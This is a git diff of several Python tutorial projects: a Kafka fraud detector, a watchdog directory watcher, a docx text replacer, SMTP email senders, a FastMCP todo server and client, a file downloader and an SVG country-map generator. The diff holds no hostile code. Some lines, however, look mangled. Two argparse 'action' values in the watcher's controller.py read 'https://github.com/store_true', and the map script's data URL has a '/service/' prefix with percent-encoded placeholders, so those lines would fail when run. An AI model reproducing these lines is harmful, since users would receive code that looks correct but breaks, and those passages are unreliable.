+ + {table_html} + + + + + + """ + # return the html + return html + + +if __name__ == "__main__": + # read the dataframe dataset + df = pd.read_csv("Churn_Modelling.csv") + # generate the HTML from the dataframe + html = generate_html(df) + # write the HTML content to an HTML file + open("index.html", "w").write(html) + # open the new HTML file with the default browser + webbrowser.open("index.html") + + \ No newline at end of file diff --git a/general/dataframe-to-html/requirements.txt b/general/dataframe-to-html/requirements.txt new file mode 100644 index 00000000..1411a4a0 --- /dev/null +++ b/general/dataframe-to-html/requirements.txt @@ -0,0 +1 @@ +pandas \ No newline at end of file diff --git a/general/detect-fraudulent-transactions/README.md b/general/detect-fraudulent-transactions/README.md new file mode 100644 index 00000000..ea89b9f2 --- /dev/null +++ b/general/detect-fraudulent-transactions/README.md @@ -0,0 +1,2 @@ +# [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python) +Check the original repo [here](https://github.com/bassemmarji/Kafka_Fraud_Detector). \ No newline at end of file diff --git a/general/detect-fraudulent-transactions/appdetector.py b/general/detect-fraudulent-transactions/appdetector.py new file mode 100644 index 00000000..0340615e --- /dev/null +++ b/general/detect-fraudulent-transactions/appdetector.py @@ -0,0 +1,41 @@ +from flask import Flask, Response, stream_with_context, render_template, json, url_for + +from kafka import KafkaConsumer +from settings import * + +# create the flask object app +app = Flask(__name__) + +def stream_template(template_name, **context): + print('template name =',template_name) + app.update_template_context(context) + t = app.jinja_env.get_template(template_name) + rv = t.stream(context) + rv.enable_buffering(5) + return rv + +def is_suspicious(transaction: dict) -> bool: + """Determine whether a transaction is suspicious.""" + return transaction["amount"] >= 900 + +# this router will render the template named index.html and will pass the following parameters to it: +# title and Kafka stream +@app.route('/') +def index(): + def g(): + consumer = KafkaConsumer( + TRANSACTIONS_TOPIC + , bootstrap_servers=KAFKA_BROKER_URL + , value_deserializer=lambda value: json.loads(value) + , + ) + for message in consumer: + transaction: dict = message.value + topic = FRAUD_TOPIC if is_suspicious(transaction) else LEGIT_TOPIC + print(topic, transaction) # DEBUG + yield topic, transaction + + return Response(stream_template('index.html', title='Fraud Detector / Kafka',data=g())) + +if __name__ == "__main__": + app.run(host="localhost" , debug=True) \ No newline at end of file diff --git a/general/detect-fraudulent-transactions/detector.py b/general/detect-fraudulent-transactions/detector.py new file mode 100644 index 00000000..3f0037c2 --- /dev/null +++ b/general/detect-fraudulent-transactions/detector.py @@ -0,0 +1,21 @@ +import os +import json +from kafka import KafkaConsumer, KafkaProducer +from settings import * + +def is_suspicious(transaction: dict) -> bool: + """Simple condition to determine whether a transaction is suspicious.""" + return transaction["amount"] >= 900 + +if __name__ == "__main__": + consumer = KafkaConsumer( + TRANSACTIONS_TOPIC + ,bootstrap_servers=KAFKA_BROKER_URL + ,value_deserializer = lambda value: json.loads(value) + , + ) + + for message in consumer: + transaction: dict = message.value + topic = FRAUD_TOPIC if is_suspicious(transaction) else LEGIT_TOPIC + print(topic,transaction) #DEBUG \ No newline at end of file diff --git a/general/detect-fraudulent-transactions/producer.py b/general/detect-fraudulent-transactions/producer.py new file mode 100644 index 00000000..158ba419 --- /dev/null +++ b/general/detect-fraudulent-transactions/producer.py @@ -0,0 +1,19 @@ +import os +import json +from time import sleep +from kafka import KafkaProducer +# import initialization parameters +from settings import * +from transactions import create_random_transaction + + +if __name__ == "__main__": + producer = KafkaProducer(bootstrap_servers = KAFKA_BROKER_URL + #Encode all values as JSON + ,value_serializer = lambda value: json.dumps(value).encode() + ,) + while True: + transaction: dict = create_random_transaction() + producer.send(TRANSACTIONS_TOPIC, value= transaction) + print(transaction) #DEBUG + sleep(SLEEP_TIME) \ No newline at end of file diff --git a/general/detect-fraudulent-transactions/requirements.txt b/general/detect-fraudulent-transactions/requirements.txt new file mode 100644 index 00000000..702fa77b --- /dev/null +++ b/general/detect-fraudulent-transactions/requirements.txt @@ -0,0 +1,2 @@ +Kafka-python==2.0.2 +Flask==1.1.2 \ No newline at end of file diff --git a/general/detect-fraudulent-transactions/settings.py b/general/detect-fraudulent-transactions/settings.py new file mode 100644 index 00000000..b6e59190 --- /dev/null +++ b/general/detect-fraudulent-transactions/settings.py @@ -0,0 +1,11 @@ +# URL for our broker used for connecting to the Kafka cluster +KAFKA_BROKER_URL = "localhost:9092" +# name of the topic hosting the transactions to be processed and requiring processing +TRANSACTIONS_TOPIC = "queuing.transactions" +# these 2 variables will control the amount of transactions automatically generated +TRANSACTIONS_PER_SECOND = float("2.0") +SLEEP_TIME = 1 / TRANSACTIONS_PER_SECOND +# name of the topic hosting the legitimate transactions +LEGIT_TOPIC = "queuing.legit" +# name of the topic hosting the suspicious transactions +FRAUD_TOPIC = "queuing.fraud" \ No newline at end of file diff --git a/general/detect-fraudulent-transactions/templates/index.html b/general/detect-fraudulent-transactions/templates/index.html new file mode 100644 index 00000000..7cbdb727 --- /dev/null +++ b/general/detect-fraudulent-transactions/templates/index.html @@ -0,0 +1,27 @@ + + Send Javascript with template demo + + + + + + +
+

{{title}}

+
+
+ {% for topic, transaction in data: %} + + {% endfor %} + + + \ No newline at end of file diff --git a/general/detect-fraudulent-transactions/transactions.py b/general/detect-fraudulent-transactions/transactions.py new file mode 100644 index 00000000..c165cdcf --- /dev/null +++ b/general/detect-fraudulent-transactions/transactions.py @@ -0,0 +1,21 @@ +from random import choices, randint +from string import ascii_letters, digits + +account_chars: str = digits + ascii_letters + +def _random_account_id() -> str: + """Return a random account number made of 12 characters""" + return "".join(choices(account_chars,k=12)) + +def _random_amount() -> float: + """Return a random amount between 1.00 and 1000.00""" + return randint(100,1000000)/100 + +def create_random_transaction() -> dict: + """Create a fake randomised transaction.""" + return { + "source":_random_account_id() + ,"target":_random_account_id() + ,"amount":_random_amount() + ,"currency":"EUR" + } \ No newline at end of file diff --git a/general/directory-watcher/README.md b/general/directory-watcher/README.md new file mode 100644 index 00000000..e5b5801f --- /dev/null +++ b/general/directory-watcher/README.md @@ -0,0 +1,26 @@ +# [How to Create a Watchdog in Python](https://www.thepythoncode.com/article/create-a-watchdog-in-python) +To run this: +- `pip3 install -r requirements.txt` +- `python3 controller.py --help` +**Output:** +``` +usage: controller.py [-h] [-d WATCH_DELAY] [-r] [-p PATTERN] [--watch-directories] path + +Watchdog script for watching for files & directories' changes + +positional arguments: + path + +optional arguments: + -h, --help show this help message and exit + -d WATCH_DELAY, --watch-delay WATCH_DELAY + Watch delay, default is 1 + -r, --recursive Whether to recursively watch for the path's children, default is False + -p PATTERN, --pattern PATTERN + Pattern of files to watch, default is .txt,.trc,.log + --watch-directories Whether to watch directories, default is True +``` +- For example, watching the path `E:\watchdog` recursively for log and text files: + ``` + python controller.py E:\watchdog --recursive -p .txt,.log + ``` \ No newline at end of file diff --git a/general/directory-watcher/checker.py b/general/directory-watcher/checker.py new file mode 100644 index 00000000..35d6f17c --- /dev/null +++ b/general/directory-watcher/checker.py @@ -0,0 +1,31 @@ +import datetime +from pygtail import Pygtail + +# Loading the package called re from the RegEx Module in order to work with Regular Expressions +import re + + +class FileChecker: + def __init__(self, exceptionPattern): + self.exceptionPattern = exceptionPattern + + def checkForException(self, event, path): + # Get current date and time according to the specified format. + now = (datetime.datetime.now()).strftime("%Y-%m-%d %H:%M:%S") + # Read the lines of the file (specified in the path) that have not been read yet + # Meaning by that it will start from the point where it was last stopped. + for num, line in enumerate(Pygtail(path), 1): + # Remove leading and trailing whitespaces including newlines. + line = line.strip() + # Return all non-overlapping matches of the values specified in the Exception Pattern. + # The line is scanned from left to right and matches are returned in the oder found. + if line and any(re.findall('|'.join(self.exceptionPattern), line, flags=re.I | re.X)): + # Observation Detected + type = 'observation' + msg = f"{now} -- {event.event_type} -- File: {path} -- Observation: {line}" + yield type, msg + elif line: + # No Observation Detected + type = 'msg' + msg = f"{now} -- {event.event_type} -- File: {path}" + yield type, msg diff --git a/general/directory-watcher/config.py b/general/directory-watcher/config.py new file mode 100644 index 00000000..06be79c9 --- /dev/null +++ b/general/directory-watcher/config.py @@ -0,0 +1,22 @@ +# Application configuration File +################################ + +# Directory To Watch, If not specified, the following value will be considered explicitly. +WATCH_DIRECTORY = "C:\\SCRIPTS" + +# Delay Between Watch Cycles In Seconds +WATCH_DELAY = 1 + +# Check The WATCH_DIRECTORY and its children +WATCH_RECURSIVELY = False + +# whether to watch for directory events +DO_WATCH_DIRECTORIES = True + +# Patterns of the files to watch +WATCH_PATTERN = '.txt,.trc,.log' + +LOG_FILES_EXTENSIONS = ('.txt', '.log', '.trc') + +# Patterns for observations +EXCEPTION_PATTERN = ['EXCEPTION', 'FATAL', 'ERROR'] diff --git a/general/directory-watcher/controller.py b/general/directory-watcher/controller.py new file mode 100644 index 00000000..7f4fdbd5 --- /dev/null +++ b/general/directory-watcher/controller.py @@ -0,0 +1,208 @@ +# The Observer watches for any file change and then dispatches the respective events to an event handler. +from watchdog.observers import Observer +# The event handler will be notified when an event occurs. +from watchdog.events import FileSystemEventHandler +import time +import config +import os +from checker import FileChecker +import datetime +from colorama import Fore, Style, init + +init() + +GREEN = Fore.GREEN +BLUE = Fore.BLUE +RED = Fore.RED +YELLOW = Fore.YELLOW + +event2color = { + "created": GREEN, + "modified": BLUE, + "deleted": RED, + "moved": YELLOW, +} + + +def print_with_color(s, color=Fore.WHITE, brightness=Style.NORMAL, **kwargs): + """Utility function wrapping the regular `print()` function + but with colors and brightness""" + print(f"{brightness}{color}{s}{Style.RESET_ALL}", **kwargs) + + +# Class that inherits from FileSystemEventHandler for handling the events sent by the Observer +class LogHandler(FileSystemEventHandler): + + def __init__(self, watchPattern, exceptionPattern, doWatchDirectories): + self.watchPattern = watchPattern + self.exceptionPattern = exceptionPattern + self.doWatchDirectories = doWatchDirectories + # Instantiate the checker + self.fc = FileChecker(self.exceptionPattern) + + def on_any_event(self, event): + now = (datetime.datetime.now()).strftime("%Y-%m-%d %H:%M:%S") + # print("event happened:", event) + # To Observe files only not directories + if not event.is_directory: + # To cater for the on_move event + path = event.src_path + if hasattr(event, 'dest_path'): + path = event.dest_path + # Ensure that the file extension is among the pre-defined ones. + if path.endswith(self.watchPattern): + msg = f"{now} -- {event.event_type} -- File: {path}" + if event.event_type in ('modified', 'created', 'moved'): + # check for exceptions in log files + if path.endswith(config.LOG_FILES_EXTENSIONS): + for type, msg in self.fc.checkForException(event=event, path=path): + print_with_color( + msg, color=event2color[event.event_type], brightness=Style.BRIGHT) + else: + print_with_color( + msg, color=event2color[event.event_type]) + else: + print_with_color(msg, color=event2color[event.event_type]) + elif self.doWatchDirectories: + msg = f"{now} -- {event.event_type} -- Folder: {event.src_path}" + print_with_color(msg, color=event2color[event.event_type]) + + def on_modified(self, event): + pass + + def on_deleted(self, event): + pass + + def on_created(self, event): + pass + + def on_moved(self, event): + pass + + +class LogWatcher: + # Initialize the observer + observer = None + # Initialize the stop signal variable + stop_signal = 0 + + # The observer is the class that watches for any file system change and then dispatches the event to the event handler. + def __init__(self, watchDirectory, watchDelay, watchRecursively, watchPattern, doWatchDirectories, exceptionPattern): + # Initialize variables in relation + self.watchDirectory = watchDirectory + self.watchDelay = watchDelay + self.watchRecursively = watchRecursively + self.watchPattern = watchPattern + self.doWatchDirectories = doWatchDirectories + self.exceptionPattern = exceptionPattern + + # Create an instance of watchdog.observer + self.observer = Observer() + # The event handler is an object that will be notified when something happens to the file system. + self.event_handler = LogHandler( + watchPattern, exceptionPattern, self.doWatchDirectories) + + def schedule(self): + print("Observer Scheduled:", self.observer.name) + # Call the schedule function via the Observer instance attaching the event + self.observer.schedule( + self.event_handler, self.watchDirectory, recursive=self.watchRecursively) + + def start(self): + print("Observer Started:", self.observer.name) + self.schedule() + # Start the observer thread and wait for it to generate events + now = (datetime.datetime.now()).strftime("%Y-%m-%d %H:%M:%S") + msg = f"Observer: {self.observer.name} - Started On: {now}" + print(msg) + + msg = ( + f"Watching {'Recursively' if self.watchRecursively else 'Non-Recursively'}: {self.watchPattern}" + f" -- Folder: {self.watchDirectory} -- Every: {self.watchDelay}(sec) -- For Patterns: {self.exceptionPattern}" + ) + print(msg) + self.observer.start() + + def run(self): + print("Observer is running:", self.observer.name) + self.start() + try: + while True: + time.sleep(self.watchDelay) + + if self.stop_signal == 1: + print( + f"Observer stopped: {self.observer.name} stop signal:{self.stop_signal}") + self.stop() + break + except: + self.stop() + self.observer.join() + + def stop(self): + print("Observer Stopped:", self.observer.name) + + now = (datetime.datetime.now()).strftime("%Y-%m-%d %H:%M:%S") + msg = f"Observer: {self.observer.name} - Stopped On: {now}" + print(msg) + self.observer.stop() + self.observer.join() + + def info(self): + info = { + 'observerName': self.observer.name, + 'watchDirectory': self.watchDirectory, + 'watchDelay': self.watchDelay, + 'watchRecursively': self.watchRecursively, + 'watchPattern': self.watchPattern, + } + return info + + +def is_dir_path(path): + """Utility function to check whether a path is an actual directory""" + if os.path.isdir(path): + return path + else: + raise NotADirectoryError(path) + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser( + description="Watchdog script for watching for files & directories' changes") + parser.add_argument("path", + default=config.WATCH_DIRECTORY, + type=is_dir_path, + ) + parser.add_argument("-d", "--watch-delay", + help=f"Watch delay, default is {config.WATCH_DELAY}", + default=config.WATCH_DELAY, + type=int, + ) + parser.add_argument("-r", "--recursive", + action="https://github.com/store_true", + help=f"Whether to recursively watch for the path's children, default is {config.WATCH_RECURSIVELY}", + default=config.WATCH_RECURSIVELY, + ) + parser.add_argument("-p", "--pattern", + help=f"Pattern of files to watch, default is {config.WATCH_PATTERN}", + default=config.WATCH_PATTERN, + ) + parser.add_argument("--watch-directories", + action="https://github.com/store_true", + help=f"Whether to watch directories, default is {config.DO_WATCH_DIRECTORIES}", + default=config.DO_WATCH_DIRECTORIES, + ) + # parse the arguments + args = parser.parse_args() + # define & launch the log watcher + log_watcher = LogWatcher( + watchDirectory=args.path, + watchDelay=args.watch_delay, + watchRecursively=args.recursive, + watchPattern=tuple(args.pattern.split(",")), + doWatchDirectories=args.watch_directories, + exceptionPattern=config.EXCEPTION_PATTERN, + ) + log_watcher.run() diff --git a/general/directory-watcher/requirements.txt b/general/directory-watcher/requirements.txt new file mode 100644 index 00000000..9546d7c4 --- /dev/null +++ b/general/directory-watcher/requirements.txt @@ -0,0 +1,2 @@ +Pygtail==0.11.1 +watchdog==2.1.1 \ No newline at end of file diff --git a/general/docx-file-replacer/README.md b/general/docx-file-replacer/README.md new file mode 100644 index 00000000..7bd54b81 --- /dev/null +++ b/general/docx-file-replacer/README.md @@ -0,0 +1,3 @@ +# [How to Replace Text in Docx Files in Python](https://www.thepythoncode.com/article/replace-text-in-docx-files-using-python) +To run this: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/general/docx-file-replacer/doc.docx b/general/docx-file-replacer/doc.docx new file mode 100644 index 00000000..90633422 Binary files /dev/null and b/general/docx-file-replacer/doc.docx differ diff --git a/general/docx-file-replacer/docx_text_replacer.py b/general/docx-file-replacer/docx_text_replacer.py new file mode 100644 index 00000000..55c09da7 --- /dev/null +++ b/general/docx-file-replacer/docx_text_replacer.py @@ -0,0 +1,58 @@ +# Import re for regex functions +import re + +# Import sys for getting the command line arguments +import sys + +# Import docx to work with .docx files. +# Must be installed: pip install python-docx +from docx import Document + +# Check if Command Line Arguments are passed. +if len(sys.argv) < 3: + print('Not Enough arguments where supplied') + sys.exit() + +# Check if replacers are in a valid schema +for replaceArg in sys.argv[2:]: + if len(replaceArg.split('=')) != 2: + print('Faulty replace argument given') + print('-> ', replaceArg) + sys.exit() + +# Store file path from CL Arguments. +file_path = sys.argv[1] + +if file_path.endswith('.docx'): + doc = Document(file_path) + # Loop through replacer arguments + occurences = {} + for replaceArgs in sys.argv[2:]: + # split the word=replacedword into a list + replaceArg = replaceArgs.split('=') + # initialize the number of occurences of this word to 0 + occurences[replaceArg[0]] = 0 + # Loop through paragraphs + for para in doc.paragraphs: + # Loop through runs (style spans) + for run in para.runs: + # if there is text on this run, replace it + if run.text: + # get the replacement text + replaced_text = re.sub(replaceArg[0], replaceArg[1], run.text, 999) + if replaced_text != run.text: + # if the replaced text is not the same as the original + # replace the text and increment the number of occurences + run.text = replaced_text + occurences[replaceArg[0]] += 1 + + # print the number of occurences of each word + for word, count in occurences.items(): + print(f"The word {word} was found and replaced {count} times.") + + # make a new file name by adding "_new" to the original file name + new_file_path = file_path.replace(".docx", "_new.docx") + # save the new docx file + doc.save(new_file_path) +else: + print('The file type is invalid, only .docx are supported') diff --git a/general/docx-file-replacer/requirements.txt b/general/docx-file-replacer/requirements.txt new file mode 100644 index 00000000..31245b28 --- /dev/null +++ b/general/docx-file-replacer/requirements.txt @@ -0,0 +1 @@ +python-docx \ No newline at end of file diff --git a/general/email-sender/1810.04805.pdf b/general/email-sender/1810.04805.pdf new file mode 100644 index 00000000..2394716b Binary files /dev/null and b/general/email-sender/1810.04805.pdf differ diff --git a/general/email-sender/email_sender.py b/general/email-sender/email_sender.py index 3cee5972..70deae7e 100644 --- a/general/email-sender/email_sender.py +++ b/general/email-sender/email_sender.py @@ -1,38 +1,56 @@ import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart -from email.mime.audio import MIME +from bs4 import BeautifulSoup as bs + +def send_mail(email, password, FROM, TO, msg): + # initialize the SMTP server + # in our case it's for Microsoft365, Outlook, Hotmail, and live.com + server = smtplib.SMTP(host="smtp.office365.com", port=587) + # connect to the SMTP server as TLS mode (secure) and send EHLO + server.starttls() + # login to the account using the credentials + server.login(email, password) + # send the email + server.sendmail(FROM, TO, msg.as_string()) + # terminate the SMTP session + server.quit() # your credentials email = "email@example.com" password = "password" # the sender's email -FROM = "email@example.com" +FROM = email # the receiver's email TO = "to@example.com" # the subject of the email (subject) subject = "Just a subject" # initialize the message we wanna send -msg = MIMEMultipart() +msg = MIMEMultipart("alternative") # set the sender's email msg["From"] = FROM # set the receiver's email msg["To"] = TO # set the subject msg["Subject"] = subject -# set the body of the email -text = MIMEText("This email is sent using Python !", "html") -# attach this body to the email -msg.attach(text) -# initialize the SMTP server -server = smtplib.SMTP("smtp.gmail.com", 587) -# connect to the SMTP server as TLS mode (secure) and send EHLO -server.starttls() -# login to the account using the credentials -server.login(email, password) -# send the email -server.sendmail(FROM, TO, msg.as_string()) -# terminate the SMTP session -server.quit() \ No newline at end of file +# set the body of the email as HTML +html = """ +This email is sent using Python ! +""" +# uncomment below line if you want to use the HTML template +# located in mail.html +# html = open("mail.html").read() +# make the text version of the HTML +text = bs(html, "html.parser").text + +text_part = MIMEText(text, "plain") +html_part = MIMEText(html, "html") +# attach the email body to the mail message +# attach the plain text version first +msg.attach(text_part) +msg.attach(html_part) + +# send the mail +send_mail(email, password, FROM, TO, msg) \ No newline at end of file diff --git a/general/email-sender/email_sender_with_attachments.py b/general/email-sender/email_sender_with_attachments.py new file mode 100644 index 00000000..e9dd65ec --- /dev/null +++ b/general/email-sender/email_sender_with_attachments.py @@ -0,0 +1,75 @@ +import smtplib +from email import encoders +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from email.mime.base import MIMEBase +from bs4 import BeautifulSoup as bs + +# list of files to send as an attachment to the email +# feel free to add your attachments here +files_to_send = [ + "test.txt", + "1810.04805.pdf", +] + + +def send_mail(email, password, FROM, TO, msg): + # initialize the SMTP server + # in our case it's for Microsoft365, Outlook, Hotmail, and live.com + server = smtplib.SMTP(host="smtp.office365.com", port=587) + # connect to the SMTP server as TLS mode (secure) and send EHLO + server.starttls() + # login to the account using the credentials + server.login(email, password) + # send the email + server.sendmail(FROM, TO, msg.as_string()) + # terminate the SMTP session + server.quit() + +# your credentials +email = "email@example.com" +password = "password" + +# the sender's email +FROM = email +# the receiver's email +TO = "to@example.com" +# the subject of the email (subject) +subject = "Just a subject" + +# initialize the message we wanna send +msg = MIMEMultipart("alternative") +# set the sender's email +msg["From"] = FROM +# set the receiver's email +msg["To"] = TO +# set the subject +msg["Subject"] = subject +# set the body of the email as HTML +html = open("mail.html").read() +# make the text version of the HTML +text = bs(html, "html.parser").text + +text_part = MIMEText(text, "plain") +html_part = MIMEText(html, "html") +# attach the email body to the mail message +# attach the plain text version first +msg.attach(text_part) +msg.attach(html_part) + +for file in files_to_send: + # open the file as read in bytes + with open(file, "rb") as f: + # read the file content + data = f.read() + # create the attachement + attach_part = MIMEBase("application", "octet-stream") + attach_part.set_payload(data) + # encode the data to base 64 + encoders.encode_base64(attach_part) + # add the Content-Disposition header + attach_part.add_header("Content-Disposition", f"attachment; filename= {file}") + msg.attach(attach_part) + +# send the mail +send_mail(email, password, FROM, TO, msg) \ No newline at end of file diff --git a/general/email-sender/mail.html b/general/email-sender/mail.html new file mode 100644 index 00000000..438bd745 --- /dev/null +++ b/general/email-sender/mail.html @@ -0,0 +1,1236 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/general/email-sender/requirements.txt b/general/email-sender/requirements.txt new file mode 100644 index 00000000..588cb5da --- /dev/null +++ b/general/email-sender/requirements.txt @@ -0,0 +1 @@ +bs4 \ No newline at end of file diff --git a/general/email-sender/test.txt b/general/email-sender/test.txt new file mode 100644 index 00000000..f9c95c6b --- /dev/null +++ b/general/email-sender/test.txt @@ -0,0 +1 @@ +A test file to upload \ No newline at end of file diff --git a/general/fastmcp-mcp-client-server-todo-manager/README.md b/general/fastmcp-mcp-client-server-todo-manager/README.md new file mode 100644 index 00000000..dd988428 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/README.md @@ -0,0 +1,39 @@ +# Build a real MCP client and server in Python with FastMCP (Todo Manager example) + +This folder contains the code that accompanies the article: + +- Article: https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager + +What’s included +- `todo_server.py`: FastMCP MCP server exposing tools, resources, and a prompt for a Todo Manager. +- `todo_client_test.py`: A small client script that connects to the server and exercises all features. +- `requirements.txt`: Python dependencies for this tutorial. + +Quick start +1) Install requirements +```bash +python -m venv .venv && source .venv/bin/activate # or use your preferred env manager +pip install -r requirements.txt +``` + +2) Run the server (stdio transport by default) +```bash +python todo_server.py +``` + +3) In a separate terminal, run the client +```bash +python todo_client_test.py +``` + +Optional: run the server over HTTP +- In `todo_server.py`, replace the last line with: +```python +mcp.run(transport="http", host="127.0.0.1", port=8000) +``` +- Then change the client constructor to `Client("http://127.0.0.1:8000/mcp")`. + +Notes +- Requires Python 3.10+. +- The example uses in-memory storage for simplicity. +- For production tips (HTTPS, auth, containerization), see the article. diff --git a/general/fastmcp-mcp-client-server-todo-manager/requirements.txt b/general/fastmcp-mcp-client-server-todo-manager/requirements.txt new file mode 100644 index 00000000..2c9387f7 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/requirements.txt @@ -0,0 +1 @@ +fastmcp>=2.12 \ No newline at end of file diff --git a/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py b/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py new file mode 100644 index 00000000..f01a1e78 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py @@ -0,0 +1,50 @@ +import asyncio +from fastmcp import Client + +async def main(): + # Option A: Connect to local Python script (stdio) + client = Client("todo_server.py") + + # Option B: In-memory (for tests) + # from todo_server import mcp + # client = Client(mcp) + + async with client: + await client.ping() + print("[OK] Connected") + + # Create a few todos + t1 = await client.call_tool("create_todo", {"title": "Write README", "priority": "high"}) + t2 = await client.call_tool("create_todo", {"title": "Refactor utils", "description": "Split helpers into modules"}) + t3 = await client.call_tool("create_todo", {"title": "Add tests", "priority": "low"}) + print("Created IDs:", t1.data["id"], t2.data["id"], t3.data["id"]) + + # List open + open_list = await client.call_tool("list_todos", {"status": "open"}) + print("Open IDs:", [t["id"] for t in open_list.data["items"]]) + + # Complete one + updated = await client.call_tool("complete_todo", {"todo_id": t2.data["id"]}) + print("Completed:", updated.data["id"], "status:", updated.data["status"]) + + # Search + found = await client.call_tool("search_todos", {"query": "readme"}) + print("Search 'readme':", [t["id"] for t in found.data["items"]]) + + # Resources + stats = await client.read_resource("stats://todos") + print("Stats:", getattr(stats[0], "text", None) or stats[0]) + + todo2 = await client.read_resource(f"todo://{t2.data['id']}") + print("todo://{id}:", getattr(todo2[0], "text", None) or todo2[0]) + + # Prompt + prompt_msgs = await client.get_prompt("suggest_next_action", {"pending": 2, "project": "MCP tutorial"}) + msgs_pretty = [ + {"role": m.role, "content": getattr(m, "content", None) or getattr(m, "text", None)} + for m in getattr(prompt_msgs, "messages", []) + ] + print("Prompt messages:", msgs_pretty) + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/general/fastmcp-mcp-client-server-todo-manager/todo_server.py b/general/fastmcp-mcp-client-server-todo-manager/todo_server.py new file mode 100644 index 00000000..64f99b73 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/todo_server.py @@ -0,0 +1,88 @@ +from typing import Literal +from itertools import count +from datetime import datetime, timezone +from fastmcp import FastMCP + +# In-memory storage for demo purposes +TODOS: list[dict] = [] +_id = count(start=1) + +mcp = FastMCP(name="Todo Manager") + +@mcp.tool +def create_todo( + title: str, + description: str = "", + priority: Literal["low", "medium", "high"] = "medium", +) -> dict: + """Create a todo (id, title, status, priority, timestamps).""" + todo = { + "id": next(_id), + "title": title, + "description": description, + "priority": priority, + "status": "open", + "created_at": datetime.now(timezone.utc).isoformat(), + "completed_at": None, + } + TODOS.append(todo) + return todo + +@mcp.tool +def list_todos(status: Literal["open", "done", "all"] = "open") -> dict: + """List todos by status ('open' | 'done' | 'all').""" + if status == "all": + items = TODOS + elif status == "open": + items = [t for t in TODOS if t["status"] == "open"] + else: + items = [t for t in TODOS if t["status"] == "done"] + return {"items": items} + +@mcp.tool +def complete_todo(todo_id: int) -> dict: + """Mark a todo as done.""" + for t in TODOS: + if t["id"] == todo_id: + t["status"] = "done" + t["completed_at"] = datetime.now(timezone.utc).isoformat() + return t + raise ValueError(f"Todo {todo_id} not found") + +@mcp.tool +def search_todos(query: str) -> dict: + """Case-insensitive search in title/description.""" + q = query.lower().strip() + items = [t for t in TODOS if q in t["title"].lower() or q in t["description"].lower()] + return {"items": items} + +# Read-only resources +@mcp.resource("stats://todos") +def todo_stats() -> dict: + """Aggregated stats: total, open, done.""" + total = len(TODOS) + open_count = sum(1 for t in TODOS if t["status"] == "open") + done_count = total - open_count + return {"total": total, "open": open_count, "done": done_count} + +@mcp.resource("todo://{id}") +def get_todo(id: int) -> dict: + """Fetch a single todo by id.""" + for t in TODOS: + if t["id"] == id: + return t + raise ValueError(f"Todo {id} not found") + +# A reusable prompt +@mcp.prompt +def suggest_next_action(pending: int, project: str | None = None) -> str: + """Render a small instruction for an LLM to propose next action.""" + base = f"You have {pending} pending TODOs. " + if project: + base += f"They relate to the project '{project}'. " + base += "Suggest the most impactful next action in one short sentence." + return base + +if __name__ == "__main__": + # Default transport is stdio; you can also use transport="http", host=..., port=... + mcp.run() diff --git a/general/file-downloader/download.py b/general/file-downloader/download.py index 90053f31..c745c255 100644 --- a/general/file-downloader/download.py +++ b/general/file-downloader/download.py @@ -1,5 +1,6 @@ from tqdm import tqdm import requests +import cgi import sys # the url of file you want to download, passed from command line arguments @@ -11,14 +12,23 @@ # get the total file size file_size = int(response.headers.get("Content-Length", 0)) - -# get the file name -filename = url.split("/")[-1] +# get the default filename +default_filename = url.split("/")[-1] +# get the content disposition header +content_disposition = response.headers.get("Content-Disposition") +if content_disposition: + # parse the header using cgi + value, params = cgi.parse_header(content_disposition) + # extract filename from content disposition + filename = params.get("filename", default_filename) +else: + # if content dispotion is not available, just use default from URL + filename = default_filename # progress bar, changing the unit to bytes instead of iteration (default by tqdm) progress = tqdm(response.iter_content(buffer_size), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024) with open(filename, "wb") as f: - for data in progress: + for data in progress.iterable: # write data read to the file f.write(data) # update the progress bar manually diff --git a/general/generate-svg-country-map/README.md b/general/generate-svg-country-map/README.md new file mode 100644 index 00000000..f5424119 --- /dev/null +++ b/general/generate-svg-country-map/README.md @@ -0,0 +1 @@ +# [How to Generate SVG Country Maps in Python](https://www.thepythoncode.com/article/generate-svg-country-maps-python) \ No newline at end of file diff --git a/general/generate-svg-country-map/requirements.txt b/general/generate-svg-country-map/requirements.txt new file mode 100644 index 00000000..dd88e750 --- /dev/null +++ b/general/generate-svg-country-map/requirements.txt @@ -0,0 +1 @@ +pycountry \ No newline at end of file diff --git a/general/generate-svg-country-map/svg_country_maps.py b/general/generate-svg-country-map/svg_country_maps.py new file mode 100644 index 00000000..7a513c2f --- /dev/null +++ b/general/generate-svg-country-map/svg_country_maps.py @@ -0,0 +1,100 @@ +# Default Library +import requests +import json +import os + +# Download with pip install pycountry +import pycountry + +for country in list(pycountry.countries): + + # All Points from all Groups + # used to analyze + allPoints = [] + + # Countries that dont consist of one body + # will have multiple groups of coordinates + pointGroups = [] + + # Country Code with 3 letters + countryCode = country.alpha_3 + countryName = country.name + + # Check if the SVG file already Exists and skip if it does + if os.path.exists(f'output/{countryName}.svg'): + print(f'{countryName}.svg Already exists ... Skipping to next Country\n') + continue + + print('Generating Map for: ', countryName) + + # Get the Data + re = requests.get(f'https://geodata.ucdavis.edu/gadm/gadm4.1/json/gadm41_%7BcountryCode%7D_0.json') + + # If the string cant be parsed an invalid country was requested + try: + data = json.loads(re.text) + except json.decoder.JSONDecodeError: + print('Could not decode ... Skipping to next Country\n') + continue + + # Organise the Data + # Get the groups and all coordinates + for i in data['features'][0]['geometry']['coordinates']: + for group in i: + pointGroups.append(group) + for coord in group: + allPoints.append(coord) + + print(f'\n{len(allPoints)} Points') + + # Analyse Data + # Use these Information to calculate + # offset, height and width of the Country + lowestX = 9999999999 + highestX = -9999999999 + + 